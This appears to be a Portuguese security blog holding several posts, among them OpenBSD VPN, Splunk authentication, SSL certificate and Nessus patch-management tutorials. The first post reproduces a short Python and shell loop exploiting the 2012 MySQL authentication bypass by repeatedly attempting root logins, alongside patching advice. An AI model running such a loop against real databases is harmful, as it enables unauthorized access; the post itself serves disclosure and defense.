daniel santana - blog

MySQL Authentication Bypass Exploit - WTF...

2012-06-12T08:40:00.001-03:00

Foi divulgada recentemente uma falha no MySQL que permite a autenticação de qualquer usuário válido (ou seja, root em 99% das instalações) sem a necessidade de senha, utilizando apenas um simples loop exaustivo de conexões [1]. É quase inacreditável que ainda existam vulnerabilidades como essa em softwares tão usados como o MySQL.

Um exemplo em Python [2] :

#!/usr/bin/python
import subprocess

while 1:
        subprocess.Popen("mysql -u root --password=senha", shell=True).wait()

Em shellscript, para ser mais rápido:

while true; do mysql -u root --password=senha -h 127.0.0.1 2>/dev/null; done

Para se proteger desta lamentável falha, basta aplicar os patches já divulgados pelos fabricantes.

Se você não pode fazer isso por N motivos, recomendo remover, pelo menos, o acesso externo dos superusuários ao seu banco (ou seja, remover qualquer registro da tabela mysql.user que contenha o campo Host como % com usuário root ou similares).

Fontes:
[1] http://seclists.org/oss-sec/2012/q2/493
[2] https://www.secmaniac.com/blog/2012/06/11/massive-mysql-authentication-bypass-exploit/

Dilbert - Segurança da Informação

2012-05-15T11:45:00.002-03:00

Scott Adams sempre abordou, de forma inteligente e engraçada, a segurança da informação no ambiente corporativo através de suas tirinhas. E mesmo após muito tempo, é incrível como diversas delas continuam sendo perfeitamente relevantes. Eis aqui as melhores, na minha opinião:

Espionagem:

http://dilbert.com/strips/comic/2008-02-11/

Equipe de segurança paranóica:

http://dilbert.com/strips/comic/2007-11-16/

Phishing:

http://dilbert.com/strips/comic/2005-08-12/

Softwares inseguros:

http://dilbert.com/strips/comic/2006-04-12/

Recuperação de senhas:

http://dilbert.com/strips/comic/2007-01-17/

Privacidade:

http://dilbert.com/strips/comic/2010-10-14/

VPN site-to-site utilizando OpenBSD e isakmpd

2012-03-28T13:36:00.000-03:00

Devido a surpreendente quantidade de emails que continuo recebendo, mesmo depois de 6 anos, decidi resgatar esse post que fiz no falecido SecForum em 2006.

"Este manual tem o objetivo de demonstrar a criação de uma VPN simples para interligar dois escritórios através da Internet com segurança. Serão utilizados neste procedimento: OpenBSD, isakmpd, openssl e certpatch."

Serão necessárias duas máquinas, uma em cada site, com IP real e fixo na Internet, pois estes serão utilizados internamente pelas chaves de autenticação. Foi utilizada a versão 3.9 do OpenBSD neste manual, mas outras podem ser usadas.

Considerações para este tutorial:

IP real da máquina alpha: 10.0.100.10
Rede interna da sede alpha: 10.0.1.0/24
IP real da máquina beta: 10.0.100.11
Rede interna da sede beta: 10.0.2.0/24

Criação da Certificate Authority (CA)

Os próximos passos descrevem a criação de um Certificate Authority, necessário para assinar as chaves geradas pelos gateways do tutorial. A máquina utilizada para geração da CA necessita dos softwares openssl e certpatch.

Gerando chave privada para o CA:

openssl genrsa -out /etc/ssl/private/ca.key 1024

Após criação da chave privada, gere uma requisição para que o próprio CA assine:

openssl req -new -key /etc/ssl/private/ca.key -out /etc/ssl/private/ca.csr

Os dados inseridos neste passo devem ser replicados na hora da geração das chaves dos clientes, com excessão do Common Name. Preencha os campos Country Name, State or Province Name, Locality Name, Organization Name e Organizational Unit Name de acordo com o arquivo isakmpd.policy, descrito abaixo. Exemplo:

Country Name (2 letter code) [BR]: BR
State or Province Name (full name) [Sao Paulo]: Sao Paulo
Locality Name (eg, city) [Sao Paulo]: Sao Paulo
Organization Name (eg, company) [Teste Ltd]: Teste Ltd
Organizational Unit Name (eg, section) [VPN Auth]: VPN Auth
Common Name (eg, your name or your server's hostname) []: Teste CA
Email Address []:

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:

Assine as chaves 10.0.100.10.csr e 10.0.100.11.csr, que serão geradas e enviadas pelos gateways:

openssl x509 -req -days 365 -in 10.0.100.10.csr -CA /etc/ssl/ca.crt -CAkey /etc/ssl/private/ca.key -CAcreateserial -out 10.0.100.10.crt

openssl x509 -req -days 365 -in 10.0.100.11.csr -CA /etc/ssl/ca.crt -CAkey /etc/ssl/private/ca.key -CAcreateserial -out 10.0.100.11.crt

certpatch -i 10.0.100.10 -k /etc/ssl/private/ca.key 10.0.100.10.crt 10.0.100.10.crt

certpatch -i 10.0.100.11 -k /etc/ssl/private/ca.key 10.0.100.11.crt 10.0.100.11.crt

Após modificar as chaves com o certpatch, envie as três chaves (ca.crt, 10.0.100.10.crt e 10.0.100.11.crt) para os gateways OpenBSD.

Gateways OpenBSD

Primeiramente, iremos ativar o IP forwarding de pacotes nos servidores, já que serão gateways entre redes. Executar:

sysctl net.inet.ip.forwarding=1

O próximo passo é desnecessário para o OpenBSD, pois uma chave local é gerada na instalação padrão. Caso queira criar uma nova chave, execute o seguinte comando:

openssl genrsa -out /etc/isakmpd/private/local.key 1024

Gere uma chave de requisição para o CA assinar:

openssl req -new -key /etc/isakmpd/private/local.key -out /etc/isakmpd/private/10.0.100.10.csr

Os dados inseridos neste passo devem ser os mesmos utilizados pelo CA e isakmpd.policy, com excessão do Common Name.

Exemplo para o gateway 10.0.100.10:

Country Name (2 letter code) [BR]: BR
State or Province Name (full name) [Sao Paulo]: Sao Paulo
Locality Name (eg, city) [Sao Paulo]: Sao Paulo
Organization Name (eg, company) [Teste Ltd]: Teste Ltd
Organizational Unit Name (eg, section) [VPN Auth]: VPN Auth
Common Name (eg, your name or your server's hostname) []: VPN-LADO-ALPHA
Email Address []:

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:

Enviar o arquivo 10.0.100.10.csr para o CA assinar, procedimento explicado no início deste tutorial. Posteriormente, você receberá três chaves do CA: ca.crt, 10.0.100.10.crt e 10.0.100.11.crt. Copie a primeira chave para o diretório /etc/isakmpd/ca e as outras para o diretório /etc/isakmpd/certs.

Repita o mesmo processo no outro gateway, modificando apenas o Common Name.

Abaixo segue o arquivo /etc/isakmpd/isakmpd.policy utilizado pelos gateways:

KeyNote-Version: 2
Authorizer: "POLICY"
Licensees: "DN:/C=BR/ST=Sao Paulo/L=Sao Paulo/O=Teste Ltd/OU=VPN Auth/CN=TesteCA"
Conditions: app_domain == "IPsec policy" &&
esp_present == "yes" &&
esp_enc_alg != "null" -> "true";

Arquivo /etc/isakmpd/isakmpd.conf do gateway 10.0.100.10:

[General]
Retransmits= 5
Exchange-max-time= 120
Listen-on= 10.0.100.10
Check-interval= 1

[X509-certificates]
CA-directory= /etc/isakmpd/ca/
Cert-directory= /etc/isakmpd/certs/
Private-key= /etc/isakmpd/private/local.key

[Phase 1]
10.0.100.11= omega

[Phase 2]
Connections= alpha-omega

[omega]
Phase= 1
Transport= udp
local-address= 10.0.100.10
Address= 10.0.100.11
Configuration= Default-main-mode

[alpha-omega]
Phase= 2
ISAKMP-peer= omega
Configuration= Default-quick-mode
Local-ID= Net-alpha
Remote-ID= Net-omega

[Net-alpha]
ID-type= IPV4_ADDR_SUBNET
Network= 10.0.1.0
Netmask= 255.255.255.0

[Net-omega]
ID-type= IPV4_ADDR_SUBNET
Network= 10.0.2.0
Netmask= 255.255.255.0

[Default-main-mode]
DOI= IPSEC
EXCHANGE_TYPE= ID_PROT
Transforms= 3DES-SHA

[Default-quick-mode]
DOI= IPSEC
EXCHANGE_TYPE= QUICK_MODE
Suites= QM-ESP-3DES-SHA-PFS-SUITE

[3DES-SHA]
ENCRYPTION_ALGORITHM= 3DES_CBC
HASH_ALGORITHM= SHA
AUTHENTICATION_METHOD= RSA_SIG
GROUP_DESCRIPTION= MODP_1024

Arquivo /etc/isakmpd/isakmpd.conf do gateway 10.0.100.11:

[General]
Retransmits= 5
Exchange-max-time= 120
Listen-on= 10.0.100.11
Check-interval= 1

[X509-certificates]
CA-directory= /etc/isakmpd/ca/
Cert-directory= /etc/isakmpd/certs/
Private-key= /etc/isakmpd/private/local.key

[Phase 1]
10.0.100.10= alpha

[Phase 2]
Connections= alpha-omega

[alpha]
Phase= 1
Transport= udp
Local-address= 10.0.100.11
Address= 10.0.100.10
Configuration= Default-main-mode

[alpha-omega]
Phase= 2
ISAKMP-peer= alpha
Configuration= Default-quick-mode
Local-ID= Net-omega
Remote-ID= Net-alpha

[Net-omega]
ID-type= IPV4_ADDR_SUBNET
Network= 10.0.2.0
Netmask= 255.255.255.0

[Net-alpha]
ID-type= IPV4_ADDR_SUBNET
Network= 10.0.1.0
Netmask= 255.255.255.0

[Default-main-mode]
DOI= IPSEC
EXCHANGE_TYPE= ID_PROT
Transforms= 3DES-SHA

[Default-quick-mode]
DOI= IPSEC
EXCHANGE_TYPE= QUICK_MODE
Suites= QM-ESP-3DES-SHA-PFS-SUITE

[3DES-SHA]
ENCRYPTION_ALGORITHM= 3DES_CBC
HASH_ALGORITHM= SHA
AUTHENTICATION_METHOD= RSA_SIG
GROUP_DESCRIPTION= MODP_1024

Após adicionar as chaves nos seus respectivos diretórios e configurar seus arquivos corretamente, inicie o isakmpd. Você pode iniciar o daemon de diversos modos para poder depurar caso aconteça algum erro. Os dois modos que utilizei:

Monitorar o arquivo /var/log/messages para as mensagens que aparecerao sobre o daemon:

# isakmpd

Daemon em modo debug. Muita informação aparecerá na tela mas servirão para saber se algo está com problema. DA significa o nivel de depuração, podendo ir até o numero 99, onde todas as diretivas da negociaão das chaves e autenticação são impressas na tela:

# isakmdp -d -DA=10

Para testar o funcionamento a partir do gateway 10.0.100.10:

ping -I 10.0.50.1 10.0.99.1
ssh -b 10.0.50.1 root@10.0.99.1

É possível implementar algumas regras do pf para proteger a VPN e limitar o acesso. Basta adicionar as seguintes regras no arquivo /etc/pf.conf de 10.0.100.10:

GATEWAY_A = "10.0.100.10"
GATEWAY_B = "10.0.100.11"
NETWORK_A = "10.0.1.0/24"
NETWORK_B = "10.0.2.0/24"

ext_if="pcn0"

block log on { enc0, $ext_if } all

pass in on $ext_if proto tcp to ($ext_if) port ssh keep state

pass in proto esp from $GATEWAY_B to $GATEWAY_A
pass out proto esp from $GATEWAY_A to $GATEWAY_B

pass in on enc0 proto ipencap from $GATEWAY_B to $GATEWAY_A

pass in on enc0 from $NETWORK_B to $NETWORK_A
pass out on enc0 from $NETWORK_A to $NETWORK_B

pass in on $ext_if proto udp from $GATEWAY_B port = 500 to $GATEWAY_A port = 500
pass out on $ext_if proto udp from $GATEWAY_A port = 500 to $GATEWAY_B port = 500

Arquivo pf.conf do gateway 10.0.100.11:

GATEWAY_A = "10.0.100.10"
GATEWAY_B = "10.0.100.11"
NETWORK_A = "10.0.1.0/24"
NETWORK_B = "10.0.2.0/24"

ext_if="pcn0"

block log on { enc0, $ext_if } all
pass in on $ext_if proto tcp to ($ext_if) port ssh keep state

pass in proto esp from $GATEWAY_A to $GATEWAY_B
pass out proto esp from $GATEWAY_B to $GATEWAY_A

pass in on enc0 proto ipencap from $GATEWAY_A to $GATEWAY_B

pass in on enc0 from $NETWORK_A to $NETWORK_B
pass out on enc0 from $NETWORK_B to $NETWORK_A

pass in on $ext_if proto udp from $GATEWAY_A port = 500 to $GATEWAY_B port = 500
pass out on $ext_if proto udp from $GATEWAY_B port = 500 to $GATEWAY_A port = 500

Em ambas as máquinas, você deve ativar o pf com os seguintes comandos:

# pfctl -e
# pfctl -f /etc/pf.conf

Para finalizar, caso você queira que todas as configurações sejam carregadas ao iniciar o gateway, edite o arquivo /etc/rc.conf e substitua isakmpd_flags=NO por isakmpd_flags="". Substitua também a linha pf=NO por pf=YES. Adicione, ou descomente, a linha net.inet.ip.forwarding=1 em /etc/sysctl.conf.

Fontes

http://hem.passagen.se/hojg/isakmpd/
http://resin.csoft.net/cgi-bin/man.cgi?section=8&topic=isakmpd
http://resin.csoft.net/cgi-bin/man.cgi?section=5&topic=isakmpd.conf
http://resin.csoft.net/cgi-bin/man.cgi?section=5&topic=isakmpd.policy
http://www.secureops.com/vpn/ipsecvpn.html
http://www.unixlike.com.br/?page_id=97

Navegando com mais segurança usando Google Docs

2011-12-07T13:23:00.001-02:00

Atualmente, o maior desafio da segurança, ao meu ver, é conscientizar o usuário sobre os riscos presentes na Internet. A tarefa é difícil, trabalhosa, as vezes desanimadora, e dificilmente você terá sucesso pleno. Diferente das pessoas que trabalham na área, e sempre desconfiam de tudo presente na Web, os usuários comuns não tem essa preocupação e gostam de clicar compulsivamente.

Com a onda de códigos maliciosos embutidos em documentos Word/Excel/Powerpoint e PDFs, ficou ainda mais dificil evitar a contaminação dos usuários, pois grande parte deles não enxerga esses programas e seus respectivos arquivos como uma ameaça, e abrem qualquer documento anexado em seu email.

Levando em consideração que a grande maioria dos desktops não possuem versões de Office nem Adobe Reader (leitor de PDF mais usado) atualizadas, a taxa de contaminação é altíssima. Mesmo aqueles que mantêm todos os softwares atualizados, inclusive assinaturas dos antivirus, não estão totalmente protegidos, principalmente para novas falhas de segurança, já que os antivirus trabalham reativamente.

Após alguns meses de testes, encontrei uma solução muito interessante através de plugins para browsers:

Docs PDF/Powerpoint Viewer (Google Chrome)
Google Docs Viewer (Firefox)

Basicamente, o que ambos os plugins fazem é oferecer a opção de visualizar documentos Office, PDF, e outros suportados, utilizando o Google Docs Viewer através da URL https://docs.google.com/viewer?url=URL

A lista de documentos suportados é extensa:

Adobe Acrobat: pdf
Adobe Illustrator: ai
Adobe Photoshop: psd
Apple Pages: pages
Autodesk AutoCad: dxf
Font: fnt, fon
Microsoft Excel: xls, xlsx
Microsoft Office: doc, docx
Microsoft PowerPoint: pps, ppt, pptx
OpenType Font: otf
PostScript: eps, ps
Scalable Vector Graphics: svg
TIFF: tif, tiff
TrueType: ttf
XML Paper Specification: xps

Todos esses documentos são interpretados pelo Google, convertidos automaticamente para imagens PNG e exibidos ao usuário, retirando completamente a responsabilidade de processamento do cliente.

Com essa interpretação realizada externamente na estrutura do Google, não há preocupação com scripts maliciosos inseridos dentro dos documentos, seja lá quais forem, se tornando uma proteção essencial ao usuário.

Após a instalação do plugin no Google Chrome, o comportamento padrão do browser é alterado e todos os tipos suportados são automaticamente direcionados ao Google Docs, forçando o uso da ferramenta dentro do navegador:

Para realizar o download dos arquivos para abrir no próprio computador, é necessário clicar com o botão direito no link e salvar, ação que dificilmente será executada pelo usuário OU clicar no botão "Download Original" dentro do Google Docs:

No plugin do Firefox, infelizmente a opção padrão de clique não é alterada e os arquivos abrirão, ao serem clicados, através do programa configurado no sistema. Para utilizar o plugin, é necessário clicar com o botao direito em cima do link e utilizar a opção "Open Link in Google Docs Viewer":

Particularmente, prefiro a abordagem feita pelo plugin do Google Chrome, que oferece uma proteção melhor aos usuários comuns, já que eles não precisarão alterar seu comportamento (botao direito -> visualizar com o google docs viewer) para estarem protegidos.

Alguns poucos documentos não abrem no Google Docs, mas são raros. Para esses que não funcionarem, você pode realizar o download e abrir com seu programa preferido, mas não recomendo.

Utilizo o Google Docs há bastante tempo e sei o quanto a ferramenta evoluiu nos últimos anos para tornar-se compatível com os padrões de mercado. Se um documento não exibir conteúdo pelo Google Docs, provavelmente está fora dos padrões e pode ser um indício de malware.

Com essa configuração realizada, reduzi consideralmente meu receio de abrir documentos Office e PDFs, assim como fiquei despreocupado com os computadores familiares também.

Além da segurança, grande parte dos usuários necessita apenas leitura em documentos Office. Se esse é o seu caso, a alternativa de usar o Google Docs é uma boa economia de dinheiro e recurso do seu computador.

OBS: Não há necessidade de uma conta Google para utilizar a URL de visualização de documentos.

Até a próxima!

Splunk com autenticação Apache + SSL

2011-11-01T13:37:00.000-02:00

Seguindo a linha do último artigo, outra peça importante em qualquer ambiente é um centralizador de logs, principalmente para auditoria e rastreamento de usuários.

Uma excelente opção é o Splunk. Na sua versão free, é possível indexar 500MB de logs diários, o que é bastante pra qualquer ambiente. Apesar desta limitação, essa quantidade de dados é suficiente para atender grande parte dos ambientes que conheço.

Como medida de comparação, já vi ambientes com mais de 1000 servidores utilizando essa versão gratuita do Splunk para registrar apenas a autenticação de usuários nos servidores (AUTHPRIV do syslog), não atingindo nem 10% da sua capacidade diária.

Porém, na minha visão, a grande limitação desta versão gratuita é a falta de autenticação no acesso à sua console de gerenciamento e busca. Como não existe autenticação, qualquer usuário que conheça a URL de acesso poderá manipular os logs já coletados, inclusive apagar completamente o que já foi indexado.

A solução que encontrei para contornar essa situação foi incluir uma autenticação do Apache com SSL na frente do Splunk através de um proxy, junto com algumas configurações adicionais no próprio Splunk.

O ambiente que utilizei com estas configurações foi um Linux CentOS 5.6, Splunk 4.2 (instalado diretamente com o RPM disponibilizado na página oficial) e o Apache 2.2 com mod_proxy + mod_ssl. Por padrão, o mod_proxy já vem habilitado no CentOS, mas o mod_ssl precisa ser instalado e configurado.

Recomendo ler o artigo Geração de chave e certificado para Apache SSL caso não saiba como ativá-lo.

Partindo para o Splunk, é necessário modificar o arquivo web.conf no diretório /opt/splunk/etc/system/local e adicionar as seguintes linhas:

[settings]
enableSplunkWebSSL = 1
root_endpoint = /splunk
updateCheckerBaseURL = 0
tools.proxy.on = True

Crie o arquivo, caso ele não exista. Explicando cada uma das configurações:

enableSplunkWebSSL = 1 : Ativa o protocolo HTTPS para a console do Splunk;
root_endpoint = /splunk : Garante que todas as URLs relacionadas ao Splunk no host de instalação iniciem com o prefixo /splunk, o que facilita bastante se for um host compartilhado e o filtro do proxy;
updateCheckerBaseURL = 0 : Desativa a tela inicial de verificação de atualizações para o Splunk. Por algum motivo, com esta tela habilitada, alguns bugs acontecem na autenticação do Apache, que contornei desabilitando essa tela inicial;
tools.proxy.on = True : Indica que o Splunk funcionará através de um Proxy. No nosso caso, o próprio Apache fará o papel de proxy.

Após estas configurações, reinicie o Splunk através da console ou via linha de comando e acesse-o, verificando que tudo está funcionando corretamente. Veja que, com essas mudanças, a console usará agora HTTPS e sempre a URI terá /splunk no seu início.

É necessário agora configurar o Apache do servidor para realizar o proxy e a autenticação. Crie um novo arquivo de configuração no diretório /etc/httpd/conf.d (exemplo: splunk.conf) com as seguintes configurações:

Listen 8066

<VirtualHost *:8066>
 ServerAdmin dms@dominiointerno.com
 ServerAlias splunk.dominiointerno.com
 ProxyPass /splunk https://127.0.0.1:8000/splunk
 ProxyPassReverse /splunk https://127.0.0.1:8000/splunk
        
 ErrorLog /var/log/httpd/splunk-error.log
 CustomLog /var/log/httpd/splunk-access.log combined
  
 SSLEngine On
 SSLCertificateFile /etc/pki/tls/certs/server.crt
 SSLCertificateKeyFile /etc/pki/tls/private/server.key
 SSLProxyEngine on
</VirtualHost>

Essa configuração criará um redirecionamento na porta 8066 do servidor para a console do Splunk, inicializada por padrão na porta 8000. Repare também que no arquivo acima existe uma configuração relacionada ao SSL, que faz parte da minha solução.

Caso prefira executar em HTTP apenas (não recomendo), remova as quatro linhas a partir de SSLEngine e edite as linhas ProxyPass e ProxyPassReverse, substituindo https por http. Lembre-se também de editar o arquivo de configuração do splunk, colocando a variável enableSplunkWebSSL para o valor 0.

É importante que você bloqueie o acesso externo à porta 8000, para forçar o uso do Splunk através da porta configurada no proxy (8066 no caso), que garantirá a autenticação. Esse bloqueio pode ser feito através do iptables:

[dms@s1 ~]# iptables -A INPUT -p tcp -s 127.0.0.1/32 --dport 8000 -j ACCEPT
[dms@s1 ~]# iptables -A INPUT -p tcp --dport 8000 -j DROP
[dms@s1 ~]# iptables -L -n
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
ACCEPT     tcp  --  127.0.0.1            0.0.0.0/0           tcp dpt:8000
DROP       tcp  --  0.0.0.0/0            0.0.0.0/0           tcp dpt:8000

Com o proxy em HTTPS agora configurado, e a porta 8000 bloqueada externamente, vamos à autenticação.

A forma mais básica será através de um arquivo de usuários e senhas, adicionando as linhas a seguir no arquivo /etc/httpd/conf.d/splunk.conf, após as configurações de VirtualHost:

<Proxy https://127.0.0.1:8000/splunk/*>
 AuthName "Autenticacao - Splunk Manager"
 AuthType Basic
 AuthUserFile /etc/httpd/htaccess.splunk
 require valid-user

</Proxy>

Agora crie o arquivo de senhas usando o comando htpasswd (disponível no pacote httpd-tools):

[dms@s1 ~]# htpasswd -m -c /etc/httpd/htaccess.splunk dms
New password:
Re-type new password:
Adding password for user dms

O parametro -m determinado o uso do MD5 para geração do hash da senha. O parametro -c indica que um novo arquivo será criado, e deve ser usado apenas no primeiro login. Para os próximos logins, utilize a mesma linha de comando sem o parâmetro -c. Verifique as permissões do arquivo criado, já que o usuário que executa o apache precisa de permissão de leitura.

Reiniciando o Apache, você já terá a autenticação necessária à console do Splunk. Basta agora manter o arquivo de senhas atualizado com os usuários necessários.

Para a solução ficar mais elegante, você também pode usar uma base de usuários centralizada (Active Directory, por exemplo) ao invés de um arquivo de senhas. Para isso, precisamos de uma nova configuração no Apache. É possível usar o OpenLDAP também, caso prefira.

O primeiro passo é criar um Security Group dentro do AD e adicionar todos os usuários com autorização de acesso à console do Splunk.

Agora, dentro do mesmo splunk.conf do Apache, adicione ao final as seguintes configurações (remova a configuração acima relacionada à autenticação via arquivo de senhas, se você testou):

<Proxy https://127.0.0.1:8000/splunk/*>
 AuthBasicProvider ldap
 AuthzLDAPAuthoritative on
 AuthName "Autenticacao - Splunk Manager - AD"
 AuthType Basic
 AuthLDAPBindDN         "usuario"
 AuthLDAPBindPassword   "senha"
 AuthLDAPURL            "ldap://ad.meudominio.com.br:389/OU=Empresa,DC=exemplo,DC=com,DC=br?samAccountName?sub?(objectClass=*)"
 require ldap-group CN=SplunkUsers,OU=Empresa,DC=exemplo,DC=com,DC=br
 Allow from all
</Proxy>

É importante que você personalize os seguintes campos da configuração acima de acordo com o seu ambiente:

AuthLDAPBindDN: Usuário criado no AD para consulta da árvore LDAP. Esse usuário não precisa ter privilégios além de participar do grupo Domain Users. Pode ser configurado como usuario@dominio OU dominio\usuario;
AuthLDAPBindPassword: Senha do usuário acima;
AuthLDAPURL: URL de busca para validar os usuários que utilizarão a autenticação. Nesta URL, altere o hostname de ad.meudominio.com.br para o AD do seu ambiente, e modifique o DN de acordo com o nome do seu domínio. Caso o seu dominio seja exemplo.com.br, e sua árvore possuir o nome Empresa, o DN será OU=Empresa,DC=exemplo,DC=com,DC=br;
require ldap-group: Aqui é necessário indicar o DN do grupo criado no AD que conterá os usuários que terão permissão de acesso ao Splunk. No exemplo acima, foi criado um Security Group chamado SplunkUsers na raiz da OU Empresa.

Com essa configuração, você terá a interface do Splunk em SSL, com autenticação através de um grupo do Active Directory. Qualquer dúvida, comente abaixo.

Recomendo a leitura:
http://httpd.apache.org/docs/2.2/pt-br/howto/htaccess.html
http://httpd.apache.org/docs/2.2/pt-br/howto/auth.html
http://httpd.apache.org/docs/2.2/mod/mod_authnz_ldap.html

Geração de chave e certificado para Apache SSL

2011-10-27T10:45:00.000-02:00

Como muitos dos meus artigos citarão a necessidade de um Apache com SSL, resolvi escrever uma dica de como gerar tanto a chave como o certificado rapidamente no Linux. Com exceção da instalação do mod_ssl, específica aqui para CentOS/RedHat e Fedora, todos esses comandos podem ser utilizados em qualquer sistema que tenha OpenSSL com Apache.

O primeiro passo é gerar a chave privada com o OpenSSL:

root@bt:~# openssl genrsa -out server.key 2048
Generating RSA private key, 2048 bit long modulus
.........+++
.........+++
e is 65537 (0x10001)

Com esses parametros, será gerada uma chave privada sem senha, já que não queremos digitar uma senha toda vez que o Apache foi iniciado. É importante que apenas o root tenha acesso de leitura e escrita ao arquivo (chmod 600 server.key), evitando que outros usuários do servidor a copiem. Esta chave será utilizada para assinar o certificado, já que não utilizaremos uma CA (Certificate Authority).

O segundo passo será gerar a requisição do certificado para ser assinado pela própria chave acima (popularmente chamado de self-signed certificate):

[root@bt ~]# openssl req -new -key server.key -out server.csr
You are about to be asked to enter information that will be incorporated into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [GB]: BR
State or Province Name (full name) [Berkshire]:SP
Locality Name (eg, city) [Newbury]:Sao Paulo
Organization Name (eg, company) [My Company Ltd]:Empresa
Organizational Unit Name (eg, section) []:TI
Common Name (eg, your name or your server's hostname) []:www.empresa.com
Email Address []:

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:

Os campos em vermelho destacados acima podem ser preenchidos conforme sua necessidade. Uma atenção deve ser dada apenas ao campo Common Name, onde é importante colocar o mesmo nome DNS cadastrado do servidor Web.

Esses campos posteriormente poderão ser verificados no certificado SSL ao acessar o servidor via browser. Após geração da requisição (arquivo CSR), precisamos agora assiná-lo com nossa chave:

[root@bt ~]# openssl x509 -req -days 3650 -in server.csr -signkey server.key -out server.crt
Signature ok
subject=/C=BR/ST=SP/L=Sao Paulo/O=Empresa/OU=TI/CN=www.empresa.com
Getting Private key

A linha acima cria um certificado server.crt com 3650 dias de validade, ou seja, 10 anos. Agora, você já possui os dois arquivos necessários para subir o Apache com SSL: server.crt e server.key. Copie-os para os diretórios /etc/pki/tls/certs e /etc/pki/tls/private respectivamente (ou qualquer outro diretório que prefira) e modifique as variáveis abaixo no seu arquivo de configuração SSL do Apache, no nosso caso o /etc/httpd/conf.d/ssl.conf:

SSLCertificateFile /etc/pki/tls/certs/server.crt
SSLCertificateKeyFile /etc/pki/tls/private/server.key

Caso você ainda não possua o mod_ssl instalado, digite "yum install mod_ssl" como root para instalar e ativar o módulo mod_ssl com a configuração padrão do Apache 2.2. Será criado o arquivo ssl.conf citado acima no diretório /etc/httpd/conf.d, com todas as configurações já necessárias. Em outras distribuições, um arquivo ssl semelhante será criado no diretório de configurações do Apache, basta procurar e modificar.

Apenas as duas variáveis acima precisarão ser alteradas com a chave e o certificado criado, pois a configuração padrão utiliza a chave privada já presente no sistema, assim como o certificado, que são os arquivos localhost.crt e localhost.key existentes nos diretórios /etc/pki/tls/certs e /etc/pki/tls/private respectivamente.

Após as configurações, reinicie o Apache e o SSL já estará funcionando com o novo certificado gerado. Verifique as informações citadas acima em vermelho através das propriedades do certificado no browser para confirmar o uso dos arquivos corretos.

HomeMade Patch Management System - Parte 1

2011-10-17T22:25:00.000-02:00

Com a facilidade da virtualização, percebi que possuia inúmeros sistemas desatualizados em casa e como não era trivial saber o que realmente precisava ser atualizado. Independente da criticidade dos mesmos, como em qualquer outro ambiente, vi que finalmente era hora de ter um controle efetivo das atualizações de segurança pendentes.

Após algumas pesquisas, não consegui achar um software que atendesse as minhas necessidades de automatizar e consolidar esse processo. Foi então que resolvi integrar algumas tecnologias que conheço para resolver o meu problema e criar um HomeMade Patch Management System utilizando:

LAMP (Linux, Apache, MySQL, PHP)
Nessus
Perl

No meu caso, utilizei o Linux CentOS 5.6 como servidor, com o pacote RPM do Nessus disponível no site oficial, mas qualquer outra distribuição funcionará sem problemas. A própria Tenable já disponibiliza diversos pacotes para diversos sistemas operacionais.

A única atenção especial é a instalação do Nessus com a licença HomeFeed. Caso você vá utiliza-lo em um ambiente corporativo, é necessário comprar a licença ProfessionalFeed. Recomendo usar o guia da própria Tenable para maiores detalhes: Nessus 4.4 Installation Guide.

Antes de prosseguir para os scans com o Nessus, é essencial verificar se está tudo OK com a licença da sua instalação, assim como garantir que os plugins serão atualizados diariamente.

Verificando a licença:

[dms@s1 ~]# /opt/nessus/bin/nessus-fetch --check
nessus-fetch is properly configured to receive a HomeFeed

Vericando a atualização automática dos plugins:

[dms@s1 ~]# grep _update /opt/nessus/etc/nessus/nessusd.conf
auto_update = yes
auto_update_delay = 24

As configurações acima, ativas por padrão desde a versão 3.0 do Nessus, garantem que a cada 24 horas os plugins serão atualizados. Para verificar a data da última atualização, consulte o timestamp da variável PLUGIN_SET no arquivo abaixo:

[dms@s1 ~]# cat /opt/nessus/var/nessus/plugin_feed_info.inc
PLUGIN_SET = "201110131236";
PLUGIN_FEED = "HomeFeed (Non-commercial use only)";

Após todas as instalações e verificações, o primeiro passo é entrar na console de configuração do Nessus ( https://servidor_nessus:8834 ) e configurar uma Policy com os plugins desejados. Será necessário informar o login e senha criados durante a instalação do Nessus. Caso você não tenha criado, use o comando /opt/nessus/sbin/nessus-adduser

Para criar uma nova Policy, clique no menu Policies->Add, que o levará para a tela abaixo:

A configuração inicial é bem intuitiva. A única preocupação que tive neste passo foi desmarcar todos os portscanners, com exceção do "Ping Host", por questão de performance. Este foi habilitado para que apenas os hosts "vivos" (verificados com ICMP Echo Request) sejam scaneados. Não vi necessidade de realizar um portscan em todos os servidores a cada vez que a política for executada, mas isso é algo pessoal. Habilitei também a opção "Reduce Parallel Connections on Congestion" para evitar problemas de congestionamento na rede. Os outros parametros todos são padrão e não foram alterados.

Ao finalizar, clique em Next ou no menu à esquerda, selecione "Credentials":

Para que o Nessus consiga conectar e obter informações dos servidores, é necessário configurar as credenciais de autenticação dentro da Policy, tanto para servidores Linux/BSD/UNIX através de SSH, como para servidores Windows. Recomendo criar um usuário exclusivamente para essa auditoria, por questões de controle.

Veja que existem diversas opções de configuração desse usuário. A forma mais recomendada é cria-lo sem privilégios, com permissão para utilizar o sudo e sua autenticação ser através de chaves, no caso dos sistemas Linux/UNIX-like. Um manual bem explicativo para configuração de chaves pode ser encontrado na documentação do Ubuntu. Para Windows, não vi outra solução: é necessário configurar um usuário com privilégio administrativo local.

Novamente, clique em Next ou no menu à esquerda, selecione "Plugins":

Como o foco é apenas verificar quais os patches de segurança pendentes nos sistemas, selecione os plugins "Local Security Checks" de acordo com os sistemas operacionais presentes no seu ambiente, inclusive separados por distribuição Linux, se precisar. Exemplos:

CentOS Local Security Checks
FreeBSD Local Security Checks
MacOS X Local Security Checks
Ubuntu Local Security Checks
Outros

Outros plugins serão automaticamente selecionados, por conta das configurações padrão do Nessus, dentro da subcategoria General e Settings, que você deve deixar selecionado. Um plugin interessante que pode também ser ativado é Settings-> Authenticated Check: OS Name and Installed Package Enumeration, para obter a lista de pacotes instalados.

Com todos esses passos definidos, clique em Submit e sua Policy está criada. É muito importante que você execute-a em alguns hosts para testes e verificar se o resultado está conforme o esperado. Essa execução inicial também será importante para validar se o usuário configurado está OK.

